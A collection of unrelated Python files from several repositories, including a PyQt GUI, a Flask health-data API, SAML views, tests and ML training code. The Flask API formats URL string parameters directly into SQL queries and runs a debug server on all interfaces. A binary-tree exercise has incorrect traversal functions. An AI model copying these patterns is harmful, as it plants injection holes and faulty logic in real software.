self.ui.label_scan_image.setPixmap(self.pixmap) self.ui.label_scan_image.setScaledContents(True) # 이미지 분석 def onComboBox_2(self, index): # 폴더에 있는 파일 리스트를 불러옴 global DIR global file_list global file_sender file_sender.clear() DIR = './icons/24x24' # 파일 있는 경로 file_list = [name for name in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, name))] # file_list = os.listdir(folder_name) # div = 행의 개수 if len(file_list) // (index+3) == 0: # int(파일 개수 / 열) div = 1 elif len(file_list) % (index+3) == 0: # 파일 개수를 열로 나눈 나머지 div = len(file_list) // (index+3) else: div = len(file_list) // (index+3) + 1 # int(파일 개수 / 열) + 1 # print(range(0, div)) # print(range(len(self.label_))) print(f"총 파일 개수: {len(file_list)}개") if len(self.label_) > 0: for i in range(len(self.label_)): if i < len(file_list): # print(i) self.label_[i].deleteLater() self.label_.clear() for file_name in file_list: self.label_.append(file_name) def clickable(widget): class Filter(QObject): clicked = Signal() def eventFilter(self, obj, event): if obj == widget: if event.type() == QEvent.MouseButtonRelease: if obj.rect().contains(event.pos()): self.clicked.emit() # The developer can opt for .emit(obj) to get the object within the slot. return True return False filter = Filter(widget) widget.installEventFilter(filter) file_sender.append(filter) return filter.clicked for i in range(0, div): for j in range(index+3): # print(i, j) num = i * (index+3) + j if num < len(file_list): # print(num) self.label_[num] = QLabel(self.ui.scrollAreaWidgetContents_4) self.label_[num].setText("") self.label_[num].setObjectName(f"label_{num}") self.ui.gridLayout_6.addWidget(self.label_[num], int(i), int(j), 1, 1) self.pixmap = QPixmap(f"{DIR}/{file_list[num]}") self.label_[num].setPixmap(self.pixmap) self.label_[num].setAlignment(Qt.AlignCenter) # self.label_[num].setScaledContents(True) # 맞춤 사이즈 self.label_[num].setScaledContents(False) # 원본 사이즈 clickable(self.label_[num]).connect(self.pictureListClicked) # 불량 (0부터 시작) self.label_[2].setStyleSheet("border: 7px solid red;") self.label_[4].setStyleSheet("border: 7px solid red;") def pictureListClicked(self): global DIR global file_list global file_sender image_name = '' for i, object_name in enumerate(file_sender): if object_name == self.sender(): image_name = file_list[i] if image_name != '': self.pop_up = QLabel("") self.pixmap = QPixmap(f"{DIR}/{image_name}") self.pop_up.setPixmap(self.pixmap) self.pop_up.setWindowTitle(image_name) self.pop_up.show() # self.ui.gridLayout_5.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) # self.label_[7].clear() # self.label_[7].setHidden(True) # # creating scroll label # label = ScrollLabel(self) # # setting tool tip # label.setToolTip("It is tool tip") ######################################################################## ## MENUS ==> DYNAMIC MENUS FUNCTIONS ######################################################################## def Button(self): # GET BT CLICKED btnWidget = self.sender() # Raw Data if btnWidget.objectName() == "btn_raw_data": self.ui.stackedWidget.setCurrentWidget(self.ui.page_collection) UIFunctions.resetStyle(self, "btn_raw_data") UIFunctions.labelPage(self, "이미지 수집") btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet())) # Learning if btnWidget.objectName() == "btn_learning": self.ui.stackedWidget.setCurrentWidget(self.ui.page_analysis) UIFunctions.resetStyle(self, "btn_learning") UIFunctions.labelPage(self, "이미지 분석") btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet())) # Results if btnWidget.objectName() == "btn_result": self.ui.stackedWidget.setCurrentWidget(self.ui.page_management) UIFunctions.resetStyle(self, "btn_result") UIFunctions.labelPage(self, "데이터 관리") btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet())) # Settings if btnWidget.objectName() == "btn_setting": self.ui.stackedWidget.setCurrentWidget(self.ui.page_widgets) UIFunctions.resetStyle(self, "btn_setting") UIFunctions.labelPage(self, "Setting") btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet())) ## ==> END ## ######################################################################## ## START ==> APP EVENTS ######################################################################## ## EVENT ==> MOUSE DOUBLE CLICK ######################################################################## def eventFilter(self, watched, event): if watched == self.le and event.type() == QtCore.QEvent.MouseButtonDblClick: print("pos: ", event.pos()) ## ==> END ## ## EVENT ==> MOUSE CLICK ######################################################################## def mousePressEvent(self, event): self.dragPos = event.globalPos() if event.buttons() == Qt.LeftButton: print('Mouse click: LEFT CLICK') if event.buttons() == Qt.RightButton: print('Mouse click: RIGHT CLICK') if event.buttons() == Qt.MidButton: print('Mouse click: MIDDLE BUTTON') ## ==> END ## ## EVENT ==> KEY PRESSED ######################################################################## def keyPressEvent(self, event): print('Key: ' + str(event.key()) + ' | Text Press: ' + str(event.text())) ## ==> END ## ## EVENT ==> RESIZE EVENT ######################################################################## def resizeEvent(self, event): self.resizeFunction() return super(MainWindow, self).resizeEvent(event) def resizeFunction(self): print('Height: ' + str(self.height()) + ' | Width: ' + str(self.width())) ## ==> END ## ######################################################################## ## END ==> APP EVENTS ############################## ---/--/--- ############################## if __name__ == "__main__": app = QApplication(sys.argv) QtGui.QFontDatabase.addApplicationFont('fonts/segoeui.ttf') QtGui.QFontDatabase.addApplicationFont('fonts/segoeuib.ttf') window = MainWindow() sys.exit(app.exec_())
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lib/__init__.py
federico123579/BigBrother
29
108708
<reponame>federico123579/BigBrother __all__ = ['base', 'bbro', 'clint', 'sentry']
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server.py
health-line/health-line-backend
0
42789
from flask import Flask from flask import jsonify from flask_sqlalchemy import SQLAlchemy from sqlalchemy import text from flask_cors import CORS, cross_origin import os app = Flask(__name__) CORS(app) app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['SQLALCHEMY_DATABASE_URI'] db = SQLAlchemy(app) db.engine.execute(text("""CREATE DATABASE IF NOT EXISTS HPI_2017;""")) db.engine.execute(text("""USE HPI_2017;""")) @app.route("/api/") def helloWorld(): return "Hello, cross-origin-world!" @app.route("/api/") def hello(): sql = text("""SELECT "VALUE" FROM "HPI_2017"."DATAPOINTS" WHERE "KEY" = 'CALORIES' LIMIT 10""") result = db.engine.execute(sql) names = [] for row in result: names.append(row[0]) return str(names) @app.route("/api/datakeys/") def datakeys(): sql = text("""SELECT DISTINCT "KEY" FROM "HPI_2017"."DATAPOINTS" """) result = db.engine.execute(sql) keys = [] for row in result: keys.append(row[0]) return jsonify(keys) @app.route("/api/users/") def users(): sql = text("""SELECT * FROM "HPI_2017"."USERS" """) result = db.engine.execute(sql) users = [] for row in result: user = {} user["ID"] = row[2] user["NAME"] = row[0] user["BIRTHDAY"] = row[1] user["SEX"] = row[3] user["HEIGHT"] = row[4] users.append(user) return jsonify(users) @app.route("/api/user/<int:userId>/") def user(userId): sql = text("""SELECT * FROM "HPI_2017"."USERS" WHERE "ID" = {0}""".format(userId)) result = db.engine.execute(sql) for row in result: user = {} user["ID"] = row[2] user["NAME"] = row[0] user["BIRTHDAY"] = row[1] user["SEX"] = row[3] user["HEIGHT"] = row[4] return jsonify(user) @app.route("/api/user/<int:userId>/data/<string:dataKeys>/start/<string:startDate>/end/<string:endDate>") def data(userId, dataKeys, startDate, endDate): keys = "(\'" + "\', \'".join(dataKeys.split("+")) + "\')" sql = text("""SELECT "DATE", "KEY", "VALUE" FROM "HPI_2017"."DATAPOINTS" WHERE "USER" = {0} AND "DATE" >= '{1}' AND "DATE" <= '{2}' AND "KEY" IN {3} """.format(userId, startDate, endDate, keys)) result = db.engine.execute(sql) dateDictionary = {} for row in result: dateKey = row[0].toordinal() if dateKey not in dateDictionary: dateDictionary[dateKey] = {"DATE": row[0].strftime("%Y-%m-%d")} dateDictionary[row[0].toordinal()][row[1]] = row[2] return jsonify(dateDictionary.values()) @app.route("/api/user/<int:userId>/gesundheitscloud/") def gesundheitscloud(userId): sql = text("""SELECT * FROM "HPI_2017"."GESUNDHEITSCLOUD" WHERE "USER" = {0} ORDER BY "DATE_START" DESC""".format(userId)) result = db.engine.execute(sql) cloudResults = [] for row in result: document = {} document["DATE_START"] = row[0] document["DATE_END"] = row[1] document["FACILITY"] = row[2] document["LOCATION"] = row[3] document["TREATMENT"] = row[4] document["TYPE"] = row[6] document["DESCRIPTION"] = row[5] cloudResults.append(document) return jsonify(cloudResults) @app.route("/api/user/<int:userId>/events/") def events(userId): sql = text("""SELECT * FROM "HPI_2017"."EVENTS" WHERE "USER" = {0} ORDER BY "DATE_START" DESC""".format(userId)) result = db.engine.execute(sql) events = [] for row in result: event = {} event["DATE_START"] = row[0] event["DATE_END"] = row[1] event["TYPE"] = row[3] event["TITLE"] = row[4] event["DESCRIPTION"] = row[5] events.append(event) return jsonify(events) <EMAIL>("/api/user/<int:userId>") app.run(debug=True, port=4200, host="0.0.0.0")
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space_manager/branches/migrations/0011_branch_minimap_img.py
yoojat/Space-Manager
0
44242
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-05-03 14:34 from __future__ import unicode_literals from django.db import migrations, models import space_manager.branches.models class Migration(migrations.Migration): dependencies = [ ('branches', '0010_branch_lounge_img_cabinet'), ] operations = [ migrations.AddField( model_name='branch', name='minimap_img', field=models.ImageField(null=True, upload_to='', validators=[space_manager.branches.models.Branch.validate_image]), ), ]
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app/__init__.py
meedan/alegre
11
88120
<reponame>meedan/alegre # app/__init__.py from flask_restplus import Api from flask import Blueprint from .main.controller.about_controller import api as about_ns from .main.controller.healthcheck_controller import api as healthcheck_ns from .main.controller.langid_controller import api as langid_ns from .main.controller.similarity_controller import api as similarity_ns from .main.controller.audio_transcription_controller import api as audio_transcription_ns from .main.controller.audio_similarity_controller import api as audio_similarity_ns from .main.controller.video_similarity_controller import api as video_similarity_ns from .main.controller.bulk_similarity_controller import api as bulk_similarity_ns from .main.controller.bulk_update_similarity_controller import api as bulk_update_similarity_ns from .main.controller.translation_controller import api as translation_ns from .main.controller.model_controller import api as model_ns from .main.controller.image_similarity_controller import api as image_similarity_ns from .main.controller.image_classification_controller import api as image_classification_ns from .main.controller.image_ocr_controller import api as image_ocr_ns from .main.controller.article_controller import api as article_ns blueprint = Blueprint('api', __name__) api = Api(blueprint, title='Alegre API', version='2.0', description='A media analysis service' ) api.add_namespace(about_ns, path='/about') api.add_namespace(healthcheck_ns, path='/healthcheck') api.add_namespace(model_ns, path='/model') api.add_namespace(langid_ns, path='/text/langid') api.add_namespace(similarity_ns, path='/text/similarity') api.add_namespace(audio_transcription_ns, path='/audio/transcription') api.add_namespace(audio_similarity_ns, path='/audio/similarity') api.add_namespace(video_similarity_ns, path='/video/similarity') api.add_namespace(bulk_similarity_ns, path='/text/bulk_similarity') api.add_namespace(bulk_update_similarity_ns, path='/text/bulk_update_similarity') api.add_namespace(translation_ns, path='/text/translation') api.add_namespace(image_similarity_ns, path='/image/similarity') api.add_namespace(image_classification_ns, path='/image/classification') api.add_namespace(image_ocr_ns, path='/image/ocr') api.add_namespace(article_ns, path='/article')
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tests/__init__.py
coleb/sendoff
2
6662
"""Tests for the `sendoff` library.""" """ The `sendoff` library tests validate the expected function of the library. """
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tests/test_service_env.py
awesome-archive/BentoML
0
149705
<gh_stars>0 import os import bentoml def test_requirement_txt_env(tmpdir): req_txt_file = tmpdir.join("requirements.txt") with open(str(req_txt_file), 'wb') as f: f.write(b"numpy\npandas\ntorch") @bentoml.env(requirements_txt=str(req_txt_file)) class ServiceWithFile(bentoml.BentoService): @bentoml.api(bentoml.handlers.DataframeHandler) def predict(self, df): return df service_with_file = ServiceWithFile() assert 'numpy' in service_with_file.env._pip_dependencies assert 'pandas' in service_with_file.env._pip_dependencies assert 'torch' in service_with_file.env._pip_dependencies saved_path = service_with_file.save('/tmp') with open(os.path.join(saved_path, 'requirements.txt'), 'rb') as f: content = f.read().decode('utf-8') assert 'numpy' in content assert 'pandas' in content assert 'torch' in content def test_pip_dependencies_env(): @bentoml.env(pip_dependencies="numpy") class ServiceWithString(bentoml.BentoService): @bentoml.api(bentoml.handlers.DataframeHandler) def predict(self, df): return df service_with_string = ServiceWithString() assert 'numpy' in service_with_string.env._pip_dependencies @bentoml.env(pip_dependencies=['numpy', 'pandas', 'torch']) class ServiceWithList(bentoml.BentoService): @bentoml.api(bentoml.handlers.DataframeHandler) def predict(self, df): return df service_with_list = ServiceWithList() assert 'numpy' in service_with_list.env._pip_dependencies assert 'pandas' in service_with_list.env._pip_dependencies assert 'torch' in service_with_list.env._pip_dependencies def test_pip_dependencies_with_archive(tmpdir): @bentoml.env(pip_dependencies=['numpy', 'pandas', 'torch']) class ServiceWithList(bentoml.BentoService): @bentoml.api(bentoml.handlers.DataframeHandler) def predict(self, df): return df service_with_list = ServiceWithList() saved_path = service_with_list.save(str(tmpdir)) requirements_txt_path = os.path.join(saved_path, 'requirements.txt') with open(requirements_txt_path, 'rb') as f: saved_requirements = f.read() module_list = saved_requirements.decode('utf-8').split('\n') assert 'numpy' in module_list assert 'pandas' in module_list assert 'torch' in module_list
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2475.py
FelisCatusKR/Baekjoon_Python3
0
70709
# 2475.py print(sum([x*x for x in map(int,input().split())])%10)
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django_saml/views.py
zendesk/python3-saml-django
20
133607
import logging from django.conf import settings from django.contrib import auth from django.core.exceptions import PermissionDenied from django.http import HttpResponse, HttpResponseRedirect, HttpResponseServerError from django.views.decorators.cache import never_cache from django.views.decorators.csrf import csrf_exempt from onelogin.saml2.auth import OneLogin_Saml2_Auth from onelogin.saml2.utils import OneLogin_Saml2_Utils logger = logging.getLogger('django_saml') def prepare_django_request(request): """Extract data from a Django request in the way that OneLogin expects.""" result = { 'https': 'on' if request.is_secure() else 'off', 'http_host': request.META['HTTP_HOST'], 'script_name': request.META['PATH_INFO'], 'server_port': request.META['SERVER_PORT'], 'get_data': request.GET.copy(), 'post_data': request.POST.copy() } if settings.SAML_DESTINATION_HOST is not None: result['http_host'] = settings.SAML_DESTINATION_HOST if settings.SAML_DESTINATION_HTTPS is not None: result['https'] = settings.SAML_DESTINATION_HTTPS result['server_port'] = '443' if result['https'] else '80' if settings.SAML_DESTINATION_PORT is not None: result['server_port'] = settings.SAML_DESTINATION_PORT return result @never_cache def login(request): """Kick off a SAML login request.""" req = prepare_django_request(request) saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS) if 'next' in request.GET: redirect_to = OneLogin_Saml2_Utils.get_self_url(req) + request.GET['next'] else: redirect_to = OneLogin_Saml2_Utils.get_self_url(req) + settings.SAML_LOGIN_REDIRECT url = saml_auth.login(redirect_to) request.session['AuthNRequestID'] = saml_auth.get_last_request_id() return HttpResponseRedirect(url) @never_cache def logout(request): """Kick off a SAML logout request.""" req = prepare_django_request(request) saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS) name_id = request.session.get('samlNameId', None) session_index = request.session.get('samlSessionIndex', None) name_id_format = request.session.get('samlNameIdFormat', None) name_id_nq = request.session.get('samlNameIdNameQualifier', None) name_id_spnq = request.session.get('samlNameIdSPNameQualifier', None) auth.logout(request) url = saml_auth.logout( name_id=name_id, session_index=session_index, nq=name_id_nq, name_id_format=name_id_format, spnq=name_id_spnq, return_to=OneLogin_Saml2_Utils.get_self_url(req) + settings.SAML_LOGOUT_REDIRECT ) request.session['LogoutRequestID'] = saml_auth.get_last_request_id() return HttpResponseRedirect(url) @never_cache def saml_sls(request): """Handle a LogoutResponse from the IdP.""" if request.method != 'GET': return HttpResponse('Method not allowed.', status=405) req = prepare_django_request(request) saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS) request_id = request.session.get('LogoutRequestID', None) try: url = saml_auth.process_slo(request_id=request_id, delete_session_cb=lambda: request.session.flush()) errors = saml_auth.get_errors() if len(errors) == 0: auth.logout(request) redirect_to = url or settings.SAML_LOGOUT_REDIRECT return HttpResponseRedirect(redirect_to) else: logger.exception(saml_auth.get_last_error_reason()) return HttpResponse("Invalid request", status=400) except UnicodeDecodeError: # Happens when someone messes with the response in the URL. No need to log an exception. return HttpResponse("Invalid request - Unable to decode response", status=400) except Exception as e: logger.exception(e) return HttpResponse("Invalid request", status=400) @never_cache @csrf_exempt def saml_acs(request): """Handle an AuthenticationResponse from the IdP.""" if request.method != 'POST': return HttpResponse('Method not allowed.', status=405) try: req = prepare_django_request(request) saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS) request_id = request.session.get('AuthNRequestID', None) saml_auth.process_response(request_id=request_id) errors = saml_auth.get_errors() if not errors: user = auth.authenticate(session_data=saml_auth.get_attributes()) if user is None: if settings.SAML_NO_USER_REDIRECT: return HttpResponseRedirect(settings.SAML_NO_USER_REDIRECT) raise PermissionDenied() auth.login(request, user) # This data is used during Single Log Out request.session['samlNameId'] = saml_auth.get_nameid() request.session['samlNameIdFormat'] = saml_auth.get_nameid_format() request.session['samlNameIdNameQualifier'] = saml_auth.get_nameid_nq() request.session['samlNameIdSPNameQualifier'] = saml_auth.get_nameid_spnq() request.session['samlSessionIndex'] = saml_auth.get_session_index() if 'RelayState' in req['post_data'] \ and OneLogin_Saml2_Utils.get_self_url(req) != req['post_data']['RelayState']: url = saml_auth.redirect_to(req['post_data']['RelayState']) return HttpResponseRedirect(url) else: return HttpResponseRedirect(settings.SAML_LOGIN_REDIRECT) logger.exception(saml_auth.get_last_error_reason()) return HttpResponse(content="Invalid Response", status=400) except PermissionDenied: raise except Exception as e: logger.exception(e) return HttpResponse(content="Invalid Response", status=400) def metadata(request): """Render the metadata of this service.""" metadata_dict = settings.ONELOGIN_SAML_SETTINGS.get_sp_metadata() errors = settings.ONELOGIN_SAML_SETTINGS.validate_metadata(metadata_dict) if len(errors) == 0: resp = HttpResponse(content=metadata_dict, content_type='text/xml') else: resp = HttpResponseServerError(content=', '.join(errors)) return resp
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Job-Interviews/Python/BinaryTrees/Problem2.py
JuanPabloMontoya271/ITC
1
15262
class Tree: def __init__(self, val,left = None, right = None): self.val = val self.left = left self.right = right root = Tree(4, left = Tree(3), right=Tree(5, left= Tree(4))) #InOrderTraversal def InOrderTraversal(root, res = []): if root is None: return res InOrderTraversal(root.left, res) InOrderTraversal(root.right, res) res.append(root.val) return res print("In order:", InOrderTraversal(root)) #PreOrderTraversal def PreOrderTraversal(root, res = []): if root is None: return res res.append(root.val) InOrderTraversal(root.left, res) InOrderTraversal(root.right, res) return res print("Pre order:", PreOrderTraversal(root)) #PostOrderTraversal def PostOrderTraversal(root, res = []): if root is None: return res InOrderTraversal(root.left, res) res.append(root.val) InOrderTraversal(root.right, res) return res print("Post order:", PostOrderTraversal(root)) def LevelOrderTraversal(root, res =[ ]): if root is None: return res queue = [] queue.append(root) while len(queue)>0: res.append(queue[0].val) node = queue.pop(0) if node.left is not None: queue.append(node.left) if node.right is not None: queue.append(node.right) return res print("Level order Traversal: ", LevelOrderTraversal(root))
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SRC/orientationmap/orientmapdisplay.py
usnistgov/OOF3D
31
192032
# -*- python -*- # This software was produced by NIST, an agency of the U.S. government, # and by statute is not subject to copyright in the United States. # Recipients of this software assume all responsibilities associated # with its operation, modification and maintenance. However, to # facilitate maintenance we ask that before distributing modified # versions of this software, you first contact the authors at # <EMAIL>. from ooflib.SWIG.common import config from ooflib.SWIG.common import coord from ooflib.SWIG.engine import angle2color from ooflib.SWIG.engine import orientationimage from ooflib.SWIG.orientationmap import orientmapdata from ooflib.common import color from ooflib.common import debug from ooflib.common import primitives from ooflib.common import registeredclass from ooflib.common.IO import display from ooflib.common.IO import parameter from ooflib.common.IO import xmlmenudump from ooflib.engine.IO import microstructuredisplay class OrientationMapDisplay(display.DisplayMethod): def __init__(self, colorscheme): self.colorscheme = colorscheme display.DisplayMethod.__init__(self) def draw(self, gfxwindow, device): msobj = self.who().getObject(gfxwindow) data = orientmapdata.getOrientationMap(msobj) if data is not None: orientimage = orientmapdata.OrientMapImage(data, self.colorscheme) if config.dimension() == 2: device.draw_image(orientimage, coord.Coord(0,0), msobj.size()) elif config.dimension() == 3: device.draw_image(orientimage, coord.Coord(0,0,0), msobj.size()) # def getTimeStamp(self, gfxwindow): # msobj = self.who().getObject(gfxwindow) # return max(display.DisplayMethod.getTimeStamp(self, gfxwindow), # orientmapdata.getOrientationMapTimestamp(msobj)) registeredclass.Registration( 'Orientation Map', display.DisplayMethod, OrientationMapDisplay, ordering=2, params=[parameter.RegisteredParameter('colorscheme', angle2color.Angle2Color, tip='Method for converting angles to colors.') ], layerordering=display.Planar(0.5), whoclasses = ('Microstructure',), tip="Display a Microstructure's Orientation Map, whether or not it's used by Material Properties.", discussion=xmlmenudump.loadFile('DISCUSSIONS/orientationmap/reg/orientationmapdisplay.xml'))
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tests/spark/models/test_spark_configuration.py
Geims83/aztk
161
1608207
<filename>tests/spark/models/test_spark_configuration.py from aztk.spark.models import SparkConfiguration from aztk.error import InvalidModelError def test_spark_configuration_defaults(): spark_configuration = SparkConfiguration() spark_configuration.validate() assert spark_configuration.spark_defaults_conf is None assert spark_configuration.spark_defaults_conf is None assert spark_configuration.spark_defaults_conf is None def test_spark_configuration_fields(): spark_configuration = SparkConfiguration( spark_defaults_conf="spark-defaults.conf", spark_env_sh="spark-env.sh", core_site_xml="core-site.xml", ) spark_configuration.validate() assert spark_configuration.spark_defaults_conf == "spark-defaults.conf" assert spark_configuration.spark_env_sh == "spark-env.sh" assert spark_configuration.core_site_xml == "core-site.xml"
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image_process.py
SatoshiRobatoFujimoto/miaomiaoji-tool
1
77793
<reponame>SatoshiRobatoFujimoto/miaomiaoji-tool<gh_stars>1-10 #!/usr/bin/python # -*-coding:utf-8-*- __author__ = "ihciah" import cv2 class ImageConverter: @staticmethod def pre_process(im, interpolation=cv2.INTER_AREA): fixed_width = 384 gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) if len(im.shape) == 3 and im.shape[2] != 1 else im multi = float(fixed_width) / gray.shape[1] dim = (fixed_width, int(gray.shape[0] * multi)) new_im = cv2.resize(gray, dim, interpolation=interpolation) return new_im @staticmethod def frombits(bits): chars = [] for b in range(int(len(bits) / 8)): byte = bits[b*8:(b+1)*8] chars.append(chr(int(''.join([str(bit) for bit in byte]), 2))) return ''.join(chars) @staticmethod def im2bmp(im, interpolation=cv2.INTER_AREA): im = ImageConverter.pre_process(im, interpolation) retval, im_binary = cv2.threshold(im, 127, 255, cv2.THRESH_BINARY) ret = '' for h in range(im_binary.shape[0]): pixels = [im_binary[h, w] for w in range(im_binary.shape[1])] binary = list(map(lambda x: 1 if x == 0 else 0, pixels)) ret += ImageConverter.frombits(binary) return ret @staticmethod def image2bmp(path, interpolation=cv2.INTER_AREA): return ImageConverter.im2bmp(cv2.imread(path), interpolation) class TextConverter: @staticmethod def text2bmp(text, height=70, pos=(10, 50), font=cv2.FONT_HERSHEY_SIMPLEX, size=2, color=0, thick=2): import numpy as np blank_image = np.zeros((height, 384), np.uint8) blank_image.fill(255) img = cv2.putText(blank_image, text, pos, font, size, color, thick) return ImageConverter.im2bmp(img) if __name__ == "__main__": cv2.imshow("test", TextConverter.text2bmp("Coding by")) cv2.waitKey(0)
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sid/src/train.py
theScrabi/kaldi_voxceleb_pytorch
3
191144
<reponame>theScrabi/kaldi_voxceleb_pytorch #/usr/bin/python3 from sys import argv print("loading") import torch import kaldi_io as kio import numpy as np from model import XVectorModel from torch import nn from torch import optim from sys import exit import os from math import isnan from math import floor from queue import Queue from threading import Thread from time import sleep from utils import shuffle_scp from utils import get_speaker_id from utils import read_flavour from utils import get_labels_and_count from utils import get_random_frame from utils import get_speaker_count speech_length = 400 batch_size = 64 amount_of_speaker = get_speaker_count() learning_rate = 0.001 train_scp = os.environ['TRAIN_SCP'] spklbl_file_name = "./exp/spklbl" device = torch.device(os.environ['TRAINING_DEVICE']) flavour = read_flavour(argv) if len(argv) < 3: print("you need to enter a directory for the models") exit(1) model_dir = argv[2] labels, amount_of_speaker = get_labels_and_count(spklbl_file_name) xmodel = XVectorModel(amount_of_speaker, flavour=flavour, device=device, learning=True).to(device) optimizer = optim.Adam(xmodel.parameters(), lr=learning_rate) batch_queue = Queue() # used for debugging if NaN values start to come up again #torch.autograd.set_detect_anomaly(True) def set_speech_length(speech_length): speech_length = speech_length def id_to_vector(id): vector = np.zeros([amount_of_speaker]) vector[id - 1] = 1 return vector def train_one_batch(batch_x, batch_y, epochnum, batchnum): optimizer.zero_grad() x = torch.from_numpy(batch_x).to(device) target = torch.from_numpy(batch_y).type(torch.long).to(device) loss, penalty = xmodel(x, target) (loss + penalty).backward() optimizer.step() # train if isnan(loss): print("************************** HALT AND CATCH FIRE *****************************") exit(1) print("epoch : " + str(epochnum) + " batch: " + str(batchnum) + " Loss is: " + str(float(loss))) def get_one_batch_with_random_frames(shuffled_scp_file): batch_x = [] batch_y = [] for key, mat in kio.read_mat_scp(shuffled_scp_file): if mat.shape[0] >= speech_length: x = get_random_frame(mat, speech_length) # y = id_to_vector(labels[get_speaker_id(key)]) # use this for mse loss y = labels[get_speaker_id(key)] # use this for cross entropy loss batch_x.append(x) batch_y.append(y) if len(batch_x) == 64: yield (np.array(batch_x), np.array(batch_y)) batch_x = [] batch_y = [] def get_one_batch_with_sequential_frames(shuffled_scp_file): batch_x = [] batch_y = [] for key, mat in kio.read_mat_scp(shuffled_scp_file): # y = id_to_vector(labels[get_speaker_id(key)]) # use this for mse loss y = labels[get_speaker_id(key)] # use this for cross entropy loss for i in range(0, floor(mat.shape[0] / speech_length)): start = i * speech_length stop = start + speech_length batch_x.append(mat[start:stop]) batch_y.append(y) if len(batch_x) == 64: yield (np.array(batch_x), np.array(batch_y)) batch_x = [] batch_y = [] def batch_loader_thread(scp_files): shuffled_scp_file = shuffle_scp(scp_files) for batch in get_one_batch_with_sequential_frames(shuffled_scp_file): batch_queue.put(batch) def train_epoch(epoch_num, scp_files): batch_num = 0 t = Thread(target=batch_loader_thread, args=([scp_files]), daemon=True) t.start() while t.isAlive(): while not batch_queue.empty(): (batch_x, batch_y) = batch_queue.get() train_one_batch(batch_x, batch_y, epoch_num, batch_num) batch_num = batch_num + 1 # if main thread is to fast it gets penalized sleep(0.01) def predict_id(x): batch_x = torch.from_numpy(x) batch_x = batch_x.unsqueeze(0).to(device) calc_x = xmodel(batch_x) return calc_x.cpu().detach().numpy()[0].argmax() def train(num_of_epochs, scp_files, model_dir=""): for i in range(0, num_of_epochs): train_epoch(i, scp_files) if not model_dir == "": torch.save(xmodel.state_dict(), model_dir + "/raw_model" + ("%02d" % i) + ".pt") # training print("starting") train(num_of_epochs=20, model_dir=model_dir, scp_files=[train_scp])
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lib/dataset/__init__.py
Amberrferr/Faster_RCNN_for_DOTA
0
138027
from dataset.imdb import IMDB from dataset.pascal_voc import PascalVOC from dataset.cityscape import CityScape from dataset.coco import coco from dataset.DOTA import DOTA_oriented,DOTA from dataset.UCAS import UCAS
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light_gas.py
mmaasrani/Tripoli-from-a-dream-to-reality
0
126579
<gh_stars>0 #Raspberry Pi Potentiometer Circuit Code import RPi.GPIO as GPIO import botbook_mcp3002 as mcp import time LED = 40 lightvalue = 0 GPIO.setmode(GPIO.BOARD) GPIO.setup(LED, GPIO.OUT) while True: lightvalue = mcp.readAnalog(0,0) gasValue = mcp.readAnalog(0,1) print "LightValue = ", lightvalue, "CO Gas Value= ", gasValue time.sleep( 0.2) if (lightvalue <=700): GPIO.output(LED, GPIO.HIGH) elif (lightvalue >700): GPIO.output(LED, GPIO.LOW)
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SUAVE/SUAVE-2.5.0/regression/scripts/Vehicles/BWB.py
Vinicius-Tanigawa/Undergraduate-Research-Project
0
67973
<filename>SUAVE/SUAVE-2.5.0/regression/scripts/Vehicles/BWB.py # BWB.py # # Created: Aug 2014, <NAME> # Modified: Jan 2019, <NAME> # ---------------------------------------------------------------------- # Imports # ---------------------------------------------------------------------- import SUAVE from SUAVE.Core import Units import numpy as np import pylab as plt import copy, time from SUAVE.Core import ( Data, Container ) from SUAVE.Methods.Propulsion.turbofan_sizing import turbofan_sizing from SUAVE.Methods.Geometry.Two_Dimensional.Cross_Section.Propulsion import compute_turbofan_geometry # ---------------------------------------------------------------------- # Define the Vehicle # ---------------------------------------------------------------------- def vehicle_setup(): # ------------------------------------------------------------------ # Initialize the Vehicle # ------------------------------------------------------------------ vehicle = SUAVE.Vehicle() vehicle.tag = 'BWB' # ------------------------------------------------------------------ # Vehicle-level Properties # ------------------------------------------------------------------ # mass properties vehicle.mass_properties.max_takeoff = 79015.8 # kg vehicle.mass_properties.takeoff = 79015.8 # kg vehicle.mass_properties.max_zero_fuel = 0.9 * vehicle.mass_properties.max_takeoff vehicle.mass_properties.cargo = 10000. * Units.kilogram # envelope properties vehicle.envelope.ultimate_load = 2.5 vehicle.envelope.limit_load = 1.5 # basic parameters vehicle.reference_area = 125.0 vehicle.passengers = 170 vehicle.systems.control = "fully powered" vehicle.systems.accessories = "sst" # ------------------------------------------------------------------ # Main Wing # ------------------------------------------------------------------ wing = SUAVE.Components.Wings.Main_Wing() wing.tag = 'main_wing' wing.aspect_ratio = 5.86 #12. wing.sweeps.quarter_chord = 15. * Units.deg wing.thickness_to_chord = 0.14 wing.taper = 0.1 wing.dihedral = 3.0 * Units.degrees wing.spans.projected = 39.0 wing.chords.root = 17.0 wing.chords.tip = 1.0 wing.chords.mean_aerodynamic = (2.0/3.0)*(wing.chords.root + wing.chords.root -(wing.chords.root*wing.chords.root)/(wing.chords.root+wing.chords.root)) wing.areas.reference = 259.4 wing.twists.root = 1.0 * Units.degrees wing.twists.tip = -4.0 * Units.degrees wing.origin = [3.,0.,-.25] wing.aerodynamic_center = [3,0,-.25] wing.vertical = False wing.symmetric = True wing.high_lift = True wing.dynamic_pressure_ratio = 1.0 segment = SUAVE.Components.Wings.Segment() segment.tag = 'fuselage_edge' segment.percent_span_location = 7.0/wing.spans.projected segment.twist = -2. * Units.deg segment.root_chord_percent = 0.88 segment.dihedral_outboard = 10.0 * Units.deg segment.sweeps.quarter_chord = 40.0*Units.deg segment.thickness_to_chord = 0.18 wing.Segments.append(segment) segment = SUAVE.Components.Wings.Segment() segment.tag = 